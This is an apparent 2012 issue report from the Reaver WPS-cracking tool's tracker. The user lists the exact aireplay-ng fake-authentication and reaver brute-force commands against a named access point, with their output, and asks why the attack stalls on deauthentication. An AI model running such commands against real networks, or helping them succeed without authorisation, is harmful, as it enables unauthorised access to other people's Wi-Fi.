1. What operating system are you using (Linux is the only supported OS)?
Backbox 3.0
2. Is your wireless card in monitor mode (yes/no)?
Yes, it's a Atheros with ath9k driver
3. What is the signal strength of the Access Point you are trying to crack?
-70db
4. What is the manufacturer and model # of the device you are trying to
crack?
Syslink
This is what i'm doing. On a first terminal i execute aireplay-ng's fake
authentication:
sudo aireplay-ng -1 15 -a 00:25:9C:C0:43:8C mon0
No source MAC (-h) specified. Using the device MAC (00:25:86:F0:1D:3A)
18:50:28 Waiting for beacon frame (BSSID: 00:25:9C:C0:43:8C) on channel 6
18:50:32 Sending Authentication Request (Open System) [ACK]
18:50:32 Authentication successful
18:50:32 Sending Association Request [ACK]
18:50:32 Association successful :-) (AID: 1)
18:50:47 Sending keep-alive packet [ACK]
18:51:02 Sending keep-alive packet [ACK]
18:51:17 Sending keep-alive packet [ACK]
18:51:22 Sending Authentication Request (Open System) [ACK]
18:51:22 Authentication successful
18:51:22 Sending Association Request [ACK]
18:51:22 Association successful :-) (AID: 1)
...
Everything ok... so i type on a second terminal
sudo reaver -i mon0 -b 00:25:9C:C0:43:8C -A -c 6 -vv --no-nacks --ignore-locks
--win7 -d 15
[+] Switching mon0 to channel 6
[+] Waiting for beacon from 00:25:9C:C0:43:8C
[+] Associated with 00:25:9C:C0:43:8C (ESSID: Zuhau-WiFi)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
...
And stucks here doing no progresses. What i have noticed is that every time
reaver does "Sending identity response" aireplay-ng in the first terminal
outputs:
18:51:49 Got a deauthentication packet! (Waiting 3 seconds)
I have tried reaver with different parameters (with an without --no-nacks,
--ignore-locks and --win7) and different values of -d (10,15,20 and 25).
It seems the AP does not like my identity response. Any idea?
Original issue reported on code.google.com by mr.asdas...@gmail.com on 5 Nov 2012 at 1:10
Original issue reported on code.google.com by
mr.asdas...@gmail.comon 5 Nov 2012 at 1:10